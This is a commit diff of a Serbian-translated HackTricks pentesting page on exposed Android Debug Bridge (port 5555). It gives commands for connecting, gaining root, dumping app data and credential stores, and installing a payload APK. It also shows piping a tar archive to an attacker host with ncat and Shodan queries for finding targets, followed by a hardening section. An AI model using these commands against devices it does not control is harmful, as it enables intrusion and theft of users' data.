Translated ['src/network-services-pentesting/5555-android-debug-bridge.m

This commit is contained in:
Translator 2025-08-19 00:40:59 +00:00
parent 0d1332173b
commit 8c8df79a43

View File

@ -6,40 +6,141 @@
Iz [dokumentacije](https://developer.android.com/studio/command-line/adb):
**Android Debug Bridge** (adb) je svestran alat za komandnu liniju koji vam omogućava da komunicirate sa uređajem. adb komanda olakšava razne radnje na uređaju, kao što su **instaliranje i debagovanje aplikacija**, i pruža **pristup Unix shell-u** koji možete koristiti za izvršavanje raznih komandi na uređaju.
Android Debug Bridge (adb) je alat komandne linije za komunikaciju sa uređajima i emulatorima zasnovanim na Androidu. Tipične radnje uključuju instalaciju paketa, debagovanje i dobijanje interaktivnog Unix shell-a na uređaju.
**Podrazumevani port**: 5555.
- Istorijski podrazumevani TCP port: 5555 (klasični "adb tcpip" režim).
- Moderno bežično debagovanje (Android 11+) koristi TLS uparivanje i mDNS otkrivanje usluga. Port za povezivanje je dinamičan i otkriva se putem mDNS; možda neće biti 5555. Uparivanje se vrši sa adb pair host:port, a zatim adb connect. Pogledajte beleške u nastavku za ofanzivne implikacije.
Primer nmap otiska:
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
## Poveži se
Ako pronađeš ADB servis koji radi na portu uređaja i možeš se povezati na njega, **možeš dobiti shell unutar sistema:**
Ako pronađeš ADB izložen i dostupan, pokušaj brzo da se povežeš i izvršiš enumeraciju:
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
adb connect <ip>[:<port>] # Default is 5555 for classic mode
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
adb shell # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
```
Za više ADB komandi proverite sledeću stranicu:
- Ako uređaj primenjuje ADB autentifikaciju (ro.adb.secure=1), bićete potrebni da budete unapred autorizovani (USB RSA auth) ili da koristite Android 11+ bežično uparivanje za debagovanje (što zahteva jednokratni kod prikazan na uređaju).
- Neki proizvođački imidži, inženjerske/userdebug verzije, emulatori, televizori, STB-ovi i razvojni kompleti izlažu adbd bez autentifikacije ili sa adbd koji radi kao root. U tim slučajevima, obično ćete direktno ući u shell ili root shell.
Za opšti ADB referentni vodič, pogledajte:
{{#ref}}
../mobile-pentesting/android-app-pentesting/adb-commands.md
{{#endref}}
### Ispusti podatke aplikacije
## Brza Post-Exploatacija
Da biste potpuno preuzeli podatke aplikacije, možete:
Kada imate shell, proverite privilegije i SELinux kontekst:
```bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
```
Možete koristiti ovu trik da **dobijete osetljive informacije kao što su chrome lozinke**. Za više informacija o ovome proverite informacije u referencama [**ovde**](https://github.com/carlospolop/hacktricks/issues/274).
### Enumerate and capture data
- Lista aplikacija trećih strana i putanja:
```bash
pm list packages -3
pm path <pkg>
```
- Ako imate root (adb root ili su radi), možete pristupiti /data direktno. Ako ne, preferirajte run-as za aplikacije koje se mogu debagovati:
```bash
# Bez roota, za aplikaciju koja se može debagovati
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
# Sa rootom
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
```
- Korisni sistemski artefakti (potreban root):
- /data/system/users/0/accounts.db i povezani AccountManager podaci
- /data/misc/wifi/ (konfiguracije/ključevi mreže na starijim verzijama)
- Specifične SQLite DB-ove aplikacija i shared_prefs pod /data/data/<pkg>
Možete koristiti ovo za preuzimanje osetljivih informacija (npr., tajne aplikacije). Za beleške o razmatranjima podataka Chrome-a, pogledajte problem referenciran [ovde](https://github.com/carlospolop/hacktricks/issues/274).
### Code execution and payload delivery
- Instalirajte i automatski dodelite dozvole za vreme izvođenja:
```bash
adb install -r -g payload.apk # -g dodeljuje sve dozvole za vreme izvođenja navedene u manifestu
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
```
- Pokrenite aktivnosti/usluge/emitovanja direktno:
```bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>
```
### Port forwarding and pivoting
Čak i bez roota, adb može preusmeriti lokalne portove na portove uređaja i obrnuto. Ovo je korisno za pristup uslugama vezanim lokalno na uređaju ili za izlaganje usluga napadača uređaju.
- Preusmeravanje host->uređaj (pristup lokalnoj usluzi uređaja sa vašeg hosta):
```bash
adb forward tcp:2222 tcp:22 # Ako uređaj pokreće SSH (npr., Termux/Dropbear)
adb forward tcp:8081 tcp:8080 # Izložite lokalni debug server aplikacije
```
- Obrnuto preusmeravanje uređaj->host (omogućite uređaju da dođe do usluge na vašem hostu):
```bash
adb reverse tcp:1080 tcp:1080 # Aplikacije na uređaju sada mogu doći do host:1080 kao 127.0.0.1:1080
```
- Ekstrakcija fajlova preko soketa (bez pisanja na sdcard):
```bash
# Na hostu: slušajte
ncat -lvp 9000 > dump.tar
# Na uređaju: pošaljite direktorijum kao tar (root ili run-as prema potrebi)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
```
## Wireless Debugging (Android 11+)
Moderni Android implementira TLS-zaštićeno bežično debagovanje sa uparivanjem sa strane uređaja i mDNS otkrivanjem:
```bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>
```
Notes
- Portovi su dinamični; ne pretpostavljajte 5555. mDNS imena usluga izgledaju ovako:
- _adb-tls-pairing._tcp (pariranje)
- _adb-tls-connect._tcp (povezivanje)
- _adb._tcp (legacy/plain)
- Ako je mDNS filtriran, klasično omogućavanje putem USB-a može i dalje raditi na nekim verzijama: `adb tcpip 5555` zatim `adb connect <ip>:5555` (do ponovnog pokretanja).
Ofanzivne implikacije: ako možete da interagujete sa UI uređaja (npr. fizički pristup ili pogrešna konfiguracija mobilnog MDM) da omogućite bežično debagovanje i vidite kod za pariranje, možete uspostaviti dugotrajni ADB kanal bez kabla. Neki OEM-ovi izlažu ADB preko TCP-a u inženjerskim/dev slikama bez pariranja—uvek proverite.
## Hardening / Detection
Defanzivci bi trebali pretpostaviti da je svaki dostupni adbd (TCP) kritički rizik.
- Onemogućite ADB i bežično debagovanje kada nisu potrebni. Oduzmite ovlašćenja za USB debagovanje u opcijama za programere.
- Osigurajte da mrežna politika blokira dolazni TCP/5555 i mDNS zasnovano ADB otkrivanje na nepouzdanim segmentima.
- Na uređajima pod vašom kontrolom:
```bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1 # onemogućite TCP slušanje (ili koristite: adb usb)
stop adbd; start adbd # restartujte demon
```
- Pratite mDNS zapise `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` na korporativnim mrežama i upozorenja za neočekivane 5555 slušaoce.
- Inventar za nesigurne verzije: `getprop ro.debuggable`, `ro.build.type`, i `ro.adb.secure`.
## Shodan
- `android debug bridge`
- android debug bridge
- port:5555 product:"Android Debug Bridge"
## References
- Android Developers Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
- AOSP ADB over WiFi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
{{#include ../banners/hacktricks-training.md}}